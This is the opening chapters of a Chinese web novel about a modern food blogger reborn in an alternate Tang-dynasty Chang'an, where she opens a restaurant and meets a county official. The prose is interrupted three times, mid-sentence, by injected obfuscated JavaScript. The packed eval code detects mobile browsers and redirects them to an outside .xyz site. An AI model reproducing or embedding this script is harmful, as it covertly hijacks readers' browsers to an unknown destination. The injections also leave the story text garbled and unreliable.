《我在长安开饭馆（美食）》 1. 穿越了 “小姐，实在是抱歉，你的阳寿实际上还有几十年，鬼差勾错魂了，但阳间的身体已经被火化，返回之前的身体是没辙了……” 眼前这个人一直在巴拉巴拉说个不停，杜箐箐想她不过是睡了一觉而已，醒来居然就被迫死亡了？ “事以至此，直接说解决办法就是”杜箐箐微一挑眉，“他”身穿黑丝西装，坐姿笔挺，皮肤苍白，想细看容貌却看不真切，仿佛脸上罩着一层薄雾，神奇的是可以看出“他”在微笑，嘴角微微上翘，露出六颗牙齿的标准微笑。 对面的人，顿了一下，接着微笑道：“小姐，现在排队等着去转世投胎的太多了，为不白白消耗你的阳寿，作为补偿，可以享受我们地府新推出的穿越时空服务。” “我可以选择穿越到哪里吗？” “不行哦。”“他”继续露出标准微笑道：“是穿越到刚刚去世的人身上，续上你的阳寿，当然这不是随便找的，要八字气场十分契合才行，限制颇多。” “可本来就是你们的错，我原本还活的好好的，现在这样积极地想送我去穿越，是怕被投诉吧，那个小鬼是你手下，而你会被连累。”杜箐箐下巴微抬，指向一直站在缩在角落的白色身影。 “他”的微笑脸有了一瞬间的皲裂，随即又恢复道：“对不起，可这是现在能够快速解决你的问题唯一办法，向上投诉，还要等相关部门去审核，每天等着审核的文件很多，通过审核还要按照事情紧急程度排序，你的阳寿耗不起，在这里过一天，阳寿就要减少1年的。” 说到这，“他”压低声音接着道：“阳寿耗尽，最后重新投胎，你就不一定是你了。” “我要金手指，例如空间，系统之类的，不然，就是拼着消耗阳寿，也要去投诉你。”杜箐箐知道最后一句是在提醒她，也是威胁，形势比人强，她关键时刻还是识时务的。 “做不到，不过我可以将你阳间的部分物品随着你一起穿越过去，也不能随你选，只能是符合规则的，我还要打申请的。” “你们地府还真是与时俱进哈，木已成舟，便随你安排。” 在杜箐箐通过机器穿越到指定位置后，“他”明显松了一口气，一直在尽量减少存在感的小鬼弱弱道：“二叔，研究员说这个机器还在调试中，是有概率传错的。” 此时的微笑脸没有了，只剩下木然：“不也说了这个概率极小，他们就是一群认死理的，正确的不过是大多数往生者走过的路，大千世界，芸芸众生，何来正确与否。” 杜箐箐可不知道她用的是一个还在调试中的机器，只觉得身体一直在往下沉。 眼皮也发沉睁不开，忽然又觉得身体一阵冷一阵热的，耳边传来细碎的低语，内容模糊不清，声音温柔却似带着些急切。她想要回应，却发现喉咙干涩，发不出声音。 额头上被捂热的帕子被换掉，一丝凉意抚平了心中的燥意，杜箐箐感觉到耳边的声音越来越远，而她抵抗不住睡意沉沉睡去。 晨光熹微，太阳照常升起，又是新的一天，杜箐箐睁开眼的瞬间，就看见一位古装女子，手里端着个碗道：“娘子，该喝药了。” 杜箐箐一脸黑线，侧头看着床边脸带泪痕的女子，生无可恋的接过她手中的药，捏着鼻子一口闷，眼前的女子欲言又止，看到杜箐箐略显苍白的脸皱成一团，连忙递给她一颗蜜饯。 杜箐箐在混乱的脑中搜索一番，记忆终于跟脸对上，这女子是白荷娘，原身也姓杜，叫杜昭华。 “别哭了，我这不是已经醒了。”但是原身确实不在了，她父亲是国子监博士，母亲因为生产时落下的毛病，一直没有治好，没几年就去世了，因父母感情好，也很宠爱这个唯一的女儿，原身的启蒙还是父亲亲自指导，后来也没有续弦，但是好景不长，前一阵子父亲因为一场风寒，久治不好，加上思念亡妻郁结于心，没多久也去世了。 原身因多日的过度劳累，办完父亲的丧礼后，第二天晚上就发高烧，一直高热不退，也没有熬过去，还是个才15岁的女孩。这一穿越一下子年轻了九岁！ “娘子，你都昏睡一天一夜了，再不醒都要急死我了。”白荷娘擦拭掉眼角的泪，不安地看向杜昭华。 杜箐箐，不，现在该叫杜昭华了，她揉了揉额角道：“我想喝水。”原身父亲寒门出身，不说在京城吃穿地有多好，但至少不愁吃穿的，现如今办理完丧礼，所剩银钱不多，厨娘以及奴仆都被放了奴籍，给了一笔钱让他们离开了，白荷娘内心也忐忑不已。 白荷娘连忙倒了一杯水，端给杜昭华，“娘子，你再躺下歇会，厨房一直热着米粥，我去端过来。”她不等回复转身就急匆匆出门。 杜昭华半靠在床上捋清脑子里的记忆，虽然也叫唐朝，但是皇帝不姓李，姓郑，发展历程与她所知的历史有许多不同之处。 沉浸在回忆里的杜昭华，忽地想起地府微笑男给她的承诺，坐起身环视一圈房间，衣箱也打开了并没有看到与这个时代不相符之物。 正想着，脑海里出现一台冰箱，越看越觉得熟悉，可不就是她现代家里的，心念一动，冰箱门开了，看到冰箱里不多的食物，好想重来一回，她一定将冰箱塞得满满的。 冰箱里面最有用的就是辣椒，这是可以留种的，其余的就是牛肉和猪肉，以及各种饮料，她一般是每周日去一次超市采购，穿过来前却刚好是周六。 杜昭华研究了一会金手指，她发现，这个冰箱里面的东西只能取出来，存放在冰箱的食品一直都是放进去时的那个状态，外面的东西却放不进去，并且用完就没有了！她听到脚步声渐近，赶紧将手里的可乐藏起来，坐回床上。 “娘子昏睡期间，几乎没有进食，赶紧趁热喝点胡麻粥。”白荷娘拿起匙就要喂食，杜昭华连忙接过碗，端起来就喝了一大口粥，起先不觉得饿，这会只觉得胃里都是空的。 熬的香甜软糯的稠粥，一口下肚，淡淡的米香与浓郁的芝麻香交织在一起，驱散了身体的寒冷与疲惫，美味的食物，确实能抚慰人心啊。 “娘子，杨家昨天上午把一封……退婚书送过来了。”白荷娘低声说完，就盯着杜昭华的脸仔细观察她的神色，杨家其实还说了些不好听的话，如果娘子为此难过，就不告诉娘子了，免得更加伤心。 然而出乎白荷娘的预料，心理安慰的话还未说出口，只见杜昭华嘴角微扬， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811590|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一幅神情愉悦的样子。 “那是杨家有眼不识见金山玉，这种背信弃义的人，还不值得我去费心。”杜昭华险些没有想起来这家人，不过是两家小时候定的娃娃亲，去年杨家倒是跟父亲提了一嘴，实际上一直没有下定。 如今官运倒是不错，杨家郎主今年升迁从五品下。 休养了三天之后，杜昭华已经盘点完家里的资产，现金流就是50贯左右，长安有着“厚葬以明孝”的观念，上层社会尤其贵族普遍追求厚葬，上行下效，平民都会有攀比之风。 一场丧礼办下来，资产真是大缩水，固定资产嘛，举家搬到京城，这座一进的宅院还是租的，官田被收回，自家地有十几亩，还在有些偏远的郊区，一直都是租佃给附近一家农民，熟归其半，即五成地租，还真没有多少。 京城居大不易，就连白居易都曾感叹“长羡蜗牛尤有舍，未如硕鼠解藏身”，看来得尽快把赚钱计划提上日程。 今天起大早，杜昭华带着白荷娘逛了下安邑坊，这的人朝食一般就是粥、馎饦、蒸饼以及胡饼。 来到坊内十字街处，有不少人摆摊，两人走到一胡饼肆前，生意还挺好，这会时辰还算早，已有不少人过来买饼，原身并不常出来买朝食的人也是吃过这家的，杜昭华打算自己尝尝，记忆里是觉得好吃的。 烤饼的是一位中年男子，一看就是熟手，动作非常麻利，不一会旁边竹筐里面就堆满了刚从炉子中取出来的胡饼，杜昭华要了一个胡麻饼，比不加芝麻的贵2文钱，一分为二，另一半递给白荷娘。 形状似囊，刚出炉的饼带着芝麻烘烤过的香味，味道确实如记忆中一样不错。 街上不时还有小贩推车叫卖蒸饼，两人走过这条街，在转角处看到一家馎饦肆，店内空间不大，摆放着8张桌案，店门右侧正中的灶上沸水翻滚，一位妇女戴着头巾，正在揪着面片放进大釜中。 杜昭华两人各点了一份羊肉馎饦，这个没有印象中那么好吃，对于她来说膻味太重了，这时的胡椒又不便宜，羊肉汤几乎喝不出胡椒味，对面的白荷娘吃的倒挺香。 本着不浪费食物，硬着头皮也吃下去了，两人买了些蒸饼回去当作午食吃，今日探店活动就结束了，杜昭华心里对这的人们吃的朝食有了大致了解，没有一家食肆是以猪肉为原料的，那她来开这个先河。 两人正准备打道回府，忽地后面传来一阵骚动，有人在喊：“官府抓人，闲杂人等快让开。” 当即准备伸手拉住白荷娘往旁边躲，却没成想杜昭华踩到一个小竹球，身体往前栽去，与对面跑来的一位男子正面撞上。 此人鼻青脸肿，脸上还有血迹，男子看到是一位小娘子，立即拉住杜昭华，杜昭华下意识想来个过肩摔，但是她忘了，这不是她原先的身体了，力气还不够。 男子见杜昭华反抗，抓的更紧了，杜昭华只觉得腕骨一痛，冰凉的刀刃贴在她脖子上，还带着一股血腥味。 这一切动作就发生在转瞬间，白荷娘惊呼：“娘子！” 几个不良人一路追着过来道：“胡屠夫，快把刀放下，莫要伤及无辜。”其中一个不良人伸手拦住欲要上前的白荷娘。 2. 肉夹馍 旁边看热闹的百姓也被吏卒赶走，一个小男孩看着他的竹球越滚越远，扯着嗓子嚎道：“娘，我的竹球！” 他母亲并不理会他的痛哭，拽着他就往街口走去，远离是非之地。 胡屠夫情绪异常激动，大声道：“我都说了，我......没有杀他，他......他......不是我杀的。” 不良人朗声道：“案子未审，还未查清原委，没人说是你杀的，你将刀放下，宋县尉你是知道的，他上任以来，还从未判错过。” 胡屠夫似乎沉浸在自己的世界里，手上握着刀的力度却没有松懈，只是不停地喃喃道：“我......没有杀人，我......我没有杀人，我没有。” 杜昭华一动不动，尽量减少自己的存在感，时刻关注胡屠夫手上的力道，争取逃脱的机会。 正僵持不下时，一道清亮透澈的声音传来：“胡屠夫，你现在回头还来得及，否则，就是罪加一等。” 来人是一个俊美倜傥的少年郎，深青色长袍头戴幞头，身后跟着一老媪，身形佝偻，略带哽咽道：“大郎啊，莫犯糊涂，你好好跟宋县尉说，他会查清楚的。” 胡屠夫看到母亲有些颤巍巍的身体，眼眶泛红，手上力道也有些松懈。 “娘......” 瞅准时机，杜昭华迅速抬起双手，按紧胡屠夫持刀的手腕，举起他的胳膊，撤步后退，双手顺势将他的胳膊反拧在身后，抬脚踢向他的胸口，胡屠夫痛呼出声，跌坐在地，整套动作一气呵成，干净利落。 场面顿时一静。 白荷娘反应过来，立马跑上前去，带着哭腔道：“娘子，你的脖子流血了。”她家娘子这是招谁惹谁了？生病才好没多久，又受伤了。 杜昭华肤白，一抹血渍就尤为明显，这会儿她才感到一丝轻微的刺痛，不甚在意道：“没大碍，一点擦伤罢了。”幸好那是胡屠夫常用的刀，刀被擦的锃亮，没有锈迹，不然她才要哭。 捕快迅速上前扣住胡屠夫，将他带走，他的母亲跟随其后。 少年将夹在指尖的石子转回手心处，随意地把玩着石子，上下抛掷，往杜昭华二人方向看去，随即收回视线，对身边的不良人道：“誊录好，回衙审案。” 不良人应是，也朝杜昭华方向看过去，挑眉道：“这小娘子看着温温柔柔的，没想到这么彪悍啊。” 少年嗤笑一声道：“胡屠夫自找罪受罢了。” 这边，杜昭华等吏卒书录完，带着白荷娘回去。 白荷娘道：“娘子，还是去医馆看下吧。” “就是一道小伤口，回去擦点药粉就行。”杜昭华揉揉手腕，看来光是跑步还不够，力量锻炼也得跟上，倒是那胡屠夫这会可不好受，她可不管他是否有什么冤屈，杜昭华向来是有仇就要当场报，没有能力便记在心里，女子报仇，十年不晚。 更何况，他就算有冤情，却只会冲着一个女子下手，真要是个弱女子，还真不一定怎样呢。 ...... “娘子是打算烹饪猪肉？”白荷娘看着眼前的肉有些傻眼，娘子说要赁店做酒肆，昨儿回来不久就去牙行，让牙人找同坊合适的铺子，今出门就买了猪肉回来。 “不错，我之前看了一本书，书上写的几种烹饪猪肉的方法或可一试。”时下吃肉首选羊肉，其次是禽类和鱼类。猪肉很少人吃。 烹饪方式也简单，多以蒸熟蘸蒜酱吃，滋味着实称不上好，因此进入恶性循坏，贵者不肯吃，贫者不解煮。 杜昭华选择做餐饮，其一是因为成本不算高，其二，现代的她可是美食博主，至于说为啥一个会计专业毕业的她，转行做了美食博主，说多了都是辛酸泪，俗话说，男怕入错行，实际上女的也怕滴。 两人短暂的午休过后，开始处理食材，“娘子告诉我怎么做，我来弄就可以了。”白荷娘赶忙拦住娘子，上前接过菜刀，尽管对猪肉没有啥信心，但是她就是莫名相信娘子，娘子说可以，那一定不会错。 杜昭华看着眼前这个不过16岁的姑娘，放现代就还是个高中生，“当时既然救了你，家里人手不够，丧礼幸亏有你帮忙，你安心住这就是了。” 白荷娘眼眶微红，眼角泛着泪光，吸了吸鼻子道：“是娘子好心收留我的，我也没有地方可以去，娘子的恩情无以回报，我......” 她是从家里逃出来的，偷听到父亲打算将她嫁给村里的老刘家，一个鳏夫，他的娘子是被他打死的，而他父亲想用聘礼给弟弟娶媳妇，她明白反抗也是没用的，只不过她逃出来后在包袱里面摸到了一串钱，刚好一百文，只可能是母亲放进去的...... “我可不是免费收留你，要付出劳力的，目前还是没有工钱的免费劳力”杜昭华还不习惯被人叫娘子，天知道，一开始，没听到这个娘子，脑海里就自动接下一句。 啊哈？是谁在耳边说爱我永不变，没办法，时下都叫女子为娘子，娘子不止妻子一个意思。 杜昭华打算做肉夹馍，长安人喜食饼，煎饼和胡饼居多，曾见过一本书上写到相传当年玄奘西行归来，长安百姓以烤饼夹上香酥的肉干相迎。 或许便是肉夹馍的原型，不过她心想，肯定不会是猪肉。 “我先做一遍，你在旁边学。”杜昭华往锅里放糖，熬糖色，这一步讲究火候，过火容易有苦味，然后倒入焯水的五花肉。 接着放葱姜蒜以及花椒等大料，再放酱汁、浊酒和热水。浊酒也称为绿蚁酒，酒液呈现出绿色，主要是清酒太贵了，没舍得买。 等水开后，转小火慢慢炖着，这边指导白荷娘揉面做白吉馍，烙馍的时候饼铛不要刷油，烙饼是很快的，5、6分钟即可。 “好香～”白吉馍差不多烙了有10个，肉香不断从锅飘过来，白荷娘不断感叹，眼神总是不油自主往炖肉锅上看去。 杜昭华不由感到好笑，这还只是炖菜，目前烹饪方式比较简单，多以蒸、煮以及烤为主，到时弄个铁锅，加入炒菜，丰富下长安大众的食谱。想到冰箱里的辣椒，嗯，杜昭华仿佛看到了钱在像她招手，不由扑哧笑出声。 白荷娘瞬间移开偷看炖肉的视线，专注烙手中的饼，以为杜昭华在笑她这副馋样，脸微红颇有些羞窘。 将盖子掀开，空气中的肉香更浓郁了，杜昭华对跟在后面的白荷娘道：“汁收的不错，可以开吃了。” 此时已是申时正，正是吃夕食的时间，杜昭华快速地炒了一盘菘菜。随即捞出炖的软烂的卤肉，利落地将肉和胡荽剁碎，要来点青椒口感会更丰富的。 白吉馍横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811591|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向切开，肉馅填入馍中，并且淋上一勺卤汁，白馍很快被染成深褐色。 白荷娘接过肉夹馍，迫不及待地咬下一口，外壳脆响，肉的醇厚脂香在舌尖蔓延，肉丁入口即化，麦香与肉香交融，再加上胡荽的清爽，等到白荷娘回味过来，她已经吃了两个肉夹馍了。 就连杜昭华都没有忍住连吃了两个，最后就是两人都吃了个肚圆儿，吃撑了。 这边两人吃的正香，可苦了住在一旁的吴三郎。 太阳快要落山，院子里更亮堂些，他们一家人便在树下围聚一起吃夕食，正在喝羊肉汤的吴三郎，抽抽鼻子，闻到了一股连碗里的羊肉汤都难以掩盖的肉香，他的嗅觉从小就比一般人更灵敏。 “二兄，你有闻到什么味吗？”吴三郎与一旁的吴二郎低语。 正埋头喝汤的吴二郎闻言摇头，吴三郎没有找到可以一起讨论话题的人，不死心地问对面的兄长，声音不免就大了些。 父亲重重咳嗽一声道：“食不言，寝不语。” 吴三郎立即低头喝汤，只是这股霸道的肉香一直不断地往他鼻子里钻，他从来没有闻过这种味道，猜不出是何种肉。 直到吃完夕食，洗漱后，躺在床上仍在抓心挠肝地想着。 杜昭华可不知道勾起了一个吃货的馋虫，她正在院子里溜达着消食，抬头看天，今晚的月亮恰好是上弦月，呈现半圆形，月光也是淡淡的。 来到这古代有几天了，早上起床依然会伸手往旁边摸索，那是现代床头柜的位置，拿手机看时间再起床是曾经的自己每天早上必做的事。 现如今依然如此，然而只能看着空空的手心发一会呆，有种恍然如隔世之感。这也是一来到这里就折腾着想办法赚钱，人一旦忙起来，会少些胡思乱想，还有就是无论在哪，钱真的给人一种底气。 白荷娘收拾完一切，看到娘子站在院子里面，月光下，显得皮肤越发白皙，气色较之前两天也好了许多。 但是以往似清水般明亮的双眼，此刻似乎陇上了一层迷雾，忽然觉得娘子好像离她很远，瘦弱的身形在夜风中显得格外单薄，“娘子，热水烧好了，可以盥漱了”白荷娘走过去，站在杜昭华的旁边，替她挡住些微凉的夜风。 感受到白荷娘的体贴，杜昭华心下微暖，自己何时这么伤春悲秋了，看来还是少看月亮，自古多少文人愣是将看月亮看出了愁绪。 转而笑道：“好的，小白”说完，转身向前走去。 身后传来白荷娘不满的声音，“娘子，又拿我开玩笑。” “怎么会，不觉得小白这名字很好吗？要不然叫大白好了，嗯，这个不错，大白你正好在家里排行老大。” 白荷娘还想反驳，看到娘子轻快的脚步，全然没有刚才的萧索之感，改口道：“娘子喜欢就行。” 又是一天早晨，杜昭华躺床上，手伸出被子，像旁边摸索着什么，依然是什么也没有，这次杜昭华却没有再发呆了，权当做一下手臂伸展运动吧，也不错。 将窗台晒干了的辣椒种子放进密封瓷罐中，之前杜昭华见天气好就将冰箱里的辣椒拿出来晒，这些就是辣椒晒干后取出的种子，期间她还得防着白荷娘。 只等天气再暖和点，就可以播种了，就是到时还得为种子的来源编一个说法。 3. 陋巷再遇 杜昭华出门先是绕着院子跑10圈，拉伸运动后，俯卧撑和深蹲再来一遍，上次被绑后，回来她就增加力量训练，现代就是孤身一人生活，那会都会去学格斗以及女子防身术，更何况这古代，她只会更加努力锻炼。 见到此景，白荷娘已经从惊讶到淡定接受了，甚至她还被要求在院子里一起跟着跑。 昨天牙行就有消息传来，刚好有一家铺面可以租赁，杜昭华今天早早起床收拾，就是去看铺子的，没想到才几天就有动静，她都打算先去摆摊了。 穿过十字街，靠近北门，这家铺面原先是一家馎饦肆，前店后院的格局，长安的铺面多是这种布局，铺面深约两丈，阔约一丈半。 后院空间倒是大一些，有三四间屋子，院子里还有一口井，更令杜昭华惊喜的是，还有一小块菜地。 询问了牙人租金几何，王牙人道：“杜娘子，铺面月租5贯，一季一付。” 杜昭华点头，这铺面还是因为生意不好，才退租的，长安馎饦肆众多，没有点手艺确实做不下去。 安邑坊北临东市，坊内官员以及富户都不少，这个租金在她预料之内。 倒是白荷娘惊呼，她虽然来长安几个月了，还是时常感叹京城的物价，在她家县城，一贯都可以租很大一个院子，这个铺面着实不大。 “王牙人，这个铺面我租下了。”杜昭华打算将现在租住的宅子退租，宅子在靠近西边坊门口，还是有段距离，住这既方便，还能节省一笔租金。 租金15贯，牙钱一个月租金，签订租赁契约，办完手续，杜昭华额外给了王牙人200文，让他介绍一个泥瓦匠和木匠过来。 古代消息还是口口相传居多，牙行跟各行业的人打交道，他们的信息也灵通，再者也是拉近关系，一来一往的情分就是这么处出来的。 杜昭华交待白荷娘在店铺里等着匠人上门，自己往东市走去。 长安城东西两个方向建立东市和西市，而买东西一词，有一种说法就是源于东西两市的存在。 杜昭华直奔打铁行，走进一家打铁铺，拿出一张画好的铁锅图样给铁匠看。 后者看了会，“小娘子，这是铁锅？”他还从未打过用铁做的锅。 “是的。”现下用的陶锅，她真的用的很费劲，炖煮还行，想炒菜还是得铁锅才行。 铁匠拿着图纸琢磨了好一会，转身拿着图纸往里面走了些，找到他师傅赵铁匠，杜昭华并没有跟在后面，依然站在原地等。 只见师徒两人对着图纸比比画画一番，赵铁匠走出来道：“小娘子，我曾经给贵人打过一口铁锅，虽然与你这个有些许不同，还是可以做出来的。” 付了一笔定金，她和赵铁匠约定后天来取货，铁锅是好，贵也是真的贵，一个月租金又没了，杜昭华心里叹气，花钱如流水啊。 顺便还买了些蔬菜种子，到时候辣椒可以混在里面一起种了。 离开东市，经过一个小巷。 “救命......” 微弱的求救声从巷子里传来，不多管闲事保平安，杜昭华在心里默念，并加快脚步往前走，快到吃午食的时间，这会附近都没人。 “快住手，我已经派人去找武侯了。”杜昭华都走远了，还是没有忍住往回跑。刚虽然只是瞥了一眼，却瞧见了只有三人，其中一个明显脚步虚浮。 巷子里，衣衫褴褛的乞儿蜷缩着身体躺在地上，其中两个明显是奴仆打扮，正对乞儿拳打脚踢。 一看就是纨绔恶少的青年男子转过头来，看到来人是一个小娘子，长得纤白明媚，容色甚佳，虽少了些丰腴，但多了几分少女的袅娜之态，顿时来了几分兴趣。 恶少肆无忌惮地盯着她的脸，“小娘子和我去喝杯酒，我就放了他。” “好啊，你先放了他。”杜昭华一指还在挨打的乞儿。 “放开他吧。” 乞儿见状，连滚带爬地朝杜昭华挪去。 对奴仆使了个眼色，恶少显然平常没少做这种事，奴仆立马会意朝着杜昭华走去。 看着朝她伸过来的手，杜昭华乘其不备使出过肩摔，将奴仆重重摔向地面。 另一个奴仆眼见同伴失手，一脸怒容，“你可知道我家大郎的父亲是谁？能看上你，是你的福气。” 说罢，用力按住杜昭华的肩膀，想迫使她跪下，杜昭华反手用力掰他的一根手指，在他吃痛之际，狠狠踹男人下面一脚。 一旁的恶少傻眼，没有想到一个弱女子一会功夫撂倒两个男人，尤其看到被踢到下面部位的奴仆，脸色苍白，痛的连声音都没有发出来。 看到杜昭华走过来，一时腿软瘫坐地上，大喊：“女侠饶命啊。” 有人“噗嗤”笑出声来，“孬种。” 巷口不知何时站了两人，有一个还是熟人。 少年一身天青色圆领襕衫，腰系白玉腰带，朗目疏眉，端的是一副好相貌，灰暗的巷子都亮堂了不少。 说话的是站在少年身旁的青袍男子，“这万年县的巡逻不行啊，宋县尉可得管管。” 宋君衍轻轻挑眉一笑，“不劳孙主簿费心，庆云。” 只见一道黑影闪过，庆云就出现在杜昭华眼前。 原来还有一个人。 一手一个，已经疼晕过去的奴仆被庆云扛在肩上，他几步就走出巷子，不见踪影。 “小娘子，你放心，他们会被带到衙门里接受惩处的。”孙主簿笑眯眯地看着杜昭华。 杜昭华行礼道：“多谢孙主簿”，视线转向一旁，莞尔一笑道：“宋县尉。”她优雅的人设是彻底在这人眼前崩了，两次见面，两次都是打架现场，她现在说她其实没有暴力倾向的还来得及吗？ 宋君衍抚了抚下巴：“职责所在，无须客套，倒是小娘子好身手。” “不过是些皮毛之技。”杜昭华转头想看看那个小乞儿怎么样了，可是，地上哪还有他的踪影。 孙主簿见她四处寻找，出声道：“他早就走了。” “此事已了，还有事回衙门处理。”宋君衍说罢转身离去。 孙主簿对杜昭华微笑摆手，“小娘子，回见。”然后向着宋君衍跑去：“诶，你等等我啊！也就是我了，休沐日，还陪你处理公事......” ...... 回到店铺，泥瓦匠和木匠已等候多时，没有时间做饭，白荷娘买了些蒸饼糕点回来当午食，现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811592|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请人干活，还需要提供饭食的。 众人饱餐一顿后，杜昭华先跟李匠人说翻新店铺之事，前店墙面许是时间久了，灰扑扑的，灶台倒是可以接着用。 从前店走入后院。她带着李匠人来到厨房，厨房不大，也难怪前店还有灶台，厨房主要是重新搭建一个灶台。 她拿出一份图纸道：“在这个灶台中间位置后要留一个出烟口，并继续向上砌造，最后砌造一个延伸至屋顶的烟囱，灶台上留两个孔洞，一个放铁锅，一个放大釜。” 李匠人看着这个陌生的灶台，虽没有见过，但是杜娘子图纸画的仔细，灶台的高度等尺寸都一一写明了，是复杂了些但还是能做出来。 杜昭华在李匠人表示明白后，又拿出一份图纸道：“厨房旁边要垒一个烤炉。”烤炉的结构主要参考了现代某个博主。 李匠人瞅了一眼杜昭华身上挂着的一个布袋，这一会功夫，杜娘子都从里面掏出好几张图纸了。 “两天可以弄完吗？” “我多带几个徒弟过来，两天没有问题。”比较难的是厨房灶台，烤炉让两个徒弟弄，一天就能搭建出来。 厨房安排好，回到前店找陈木匠，杜昭华同样的从布袋里面掏出图纸，对着陈木匠道：“这是我要制作的桌案与椅子的样式。” 陈木匠看完，拧着眉头道：“这皆是高脚桌案啊，尤其杜娘子说的这个椅子的样式，我不曾见过。” 现在虽然已经出现胡床和食床等高脚桌椅，但是跪坐仍然是主流，尤其杜昭华画的椅子样式是圈椅，可是胡床进阶版。 “陈木匠，你只管按照图纸打造桌椅即可。”杜昭华面带微笑，语气柔柔的，却表现出不容置疑的态度。 陈木匠虽疑惑，也明白自己就是拿钱办事的，随即笑到：“杜娘子，我会尽快制作处桌椅的。” 店铺的重装在逐步进行，在此期间，杜昭华便在整理书房的书籍，纸质书和竹简都有，纸质书多为抄本书，杜父是个有些名气的文人，擅长写诗文，书法也小有所成，积年累月的，手稿都有厚厚一沓，整个家里最值钱的莫过于书房里的书了。 至于杜昭华个人的东西就相当简单了，租了一辆牛车，陆续将家具等物品运到租住的店铺后院，半天功夫就弄好了。 此时，店铺的装修已经接近尾声，铁锅也打好了，陈木匠送来了桌案圈椅，又接了一个女主的活，打造两个博古架，对于他来说又是个新鲜样式。 至于桌案圈椅，他在打造出第一把圈椅时，试着坐了会，椅子可以自然垂足而坐，而背靠椅子，手也可以顺势放在扶手上，他当即打算给家里也打造一套。 又忙碌两天后，铺面终于收拾完，墙面刷白，原木色桌案圈椅，左边靠墙两个博古架，上面放着些西市买来的用陶制的各种形态的动物俑，木雕的各种动物，价格不高因此略显粗糙，不细看，摆在上面还是挺好看的。 博古架两边放置一个花架，摆上菖蒲和文竹盆栽，都是四季常绿的植物，时下文人一般将其置于书房，店里摆的就是从书房里搬出来的。 入门右边一分为二，一半是柜台，一半是灶台加新做的案板。 杜记食肆就这样开张了。 4. 月亮饼 清晨晨雾渐散，坊市轮廓愈发明晰，坊内的人逐渐活跃起来，小贩们推着车、或者挑着旦在大街小巷叫卖，而杜昭华的食肆也开始营业了。 杜昭华在柜台旁边只了一个小炉子，灶上放着砂锅，掀开砂锅盖子，卤肉霸道的香味迅速弥漫在空气中，引得路人不由自主吸吸鼻子，朝着香味来源看去。 “小店今天开始营业，朝食有肉夹膜和荠菜煎饼，欢迎各位进来品尝。”杜昭华站在炉子旁，笑意盈盈地说道。 客人看见是一位面容姣好，气质卓然的小娘子，香味便来自小娘子身旁的炉子，有不少人被香味吸引走进杜记食肆。 有人上前问价肉夹膜，20文一个，饼虽然不大肉还是挺多的，也不算贵，因此不少人买，白荷娘已经会做肉夹膜了，她便在一旁的饼铛上煎菜饼。 长安的食材都要随着季节变化，春天郊外野菜疯长，就地取材新增了菜饼，是现代常州菜饼的做法，也叫月亮饼。 杜昭华拿出一个包满荠菜肉馅的圆饼团，拿起擀面杖将其擀平，在上面撒上黑芝麻，饼铛上刷点油，小火煎，等一面差不多了，用小铲子翻面，不一会，菜饼的香味被慢慢逼出来，唐鲁孙先生曾说这种菜饼就是朝霞沆瀣，四季咸宜，盘香翡翠。 有人上前买了一个荠菜煎饼，杜昭华将饼放入楮皮纸袋中，朝食不少人是打包的，因此备了不少纸袋，纸袋上印有杜记食肆四字。 杜昭华自己写的，虽增加不少成本，但是她想走的是品牌路线，可不要小看了古代人的模仿能力，她能做的就是先占有市场，让人对杜记有印象。 “杜娘子，又见面了。”孙主簿眼含惊讶地看着杜昭华。“没有想到杜娘子厨艺也如此好啊。” “孙主簿，承蒙回顾。” 来买菜饼的客人正是万年县孙主簿，本人朝食爱吃胡饼，尤其胡麻饼，他今天是被肉香吸引过去的，但是肉夹膜排队的太多，他得赶着去上衙，便买了菜饼。 他打开袋子一尝，嗯，皮薄馅多，饼皮外脆内里又有韧劲，内馅咸香四溢，越嚼越香，不同往常吃到的有些坚硬的胡饼。 曾经的心头好，转眼就惨遭嫌弃，孙主簿变心的就是如此快，要不是时间来不及。 他想掉头再买一个，哦不，两个也不是不行。 在店里吃朝食的客人，则是好奇地打量桌案圈椅，一开始很是不适应，不少客人家里连胡床都不曾有，更是适应不良。 但是高脚椅子成为未来主流不是没有道理的，垂足而坐就是比跪坐来的舒服呀。 客人皆从质疑，到了解，再到嘴上还是要说几句，身体却坦然地接受了。不知是不是身体舒泰了的原因，胃口似乎变得似乎更好了，不然何以解释，猪肉怎么会这么好吃？ 生意出乎意料地好，两人忙的团团转，早先准备好的一锅卤肉售罄，原以为能坚持到午食的，荠菜煎饼同样如此，只能紧急补充了一番食材，还跟菜贩说好，以后有什么新鲜的菜直接送到店里来。 猪肉摊就更不用说了，杜昭华已经成为了他那头号客户，论单次购买数量来看，杜昭华绝对排得上号。 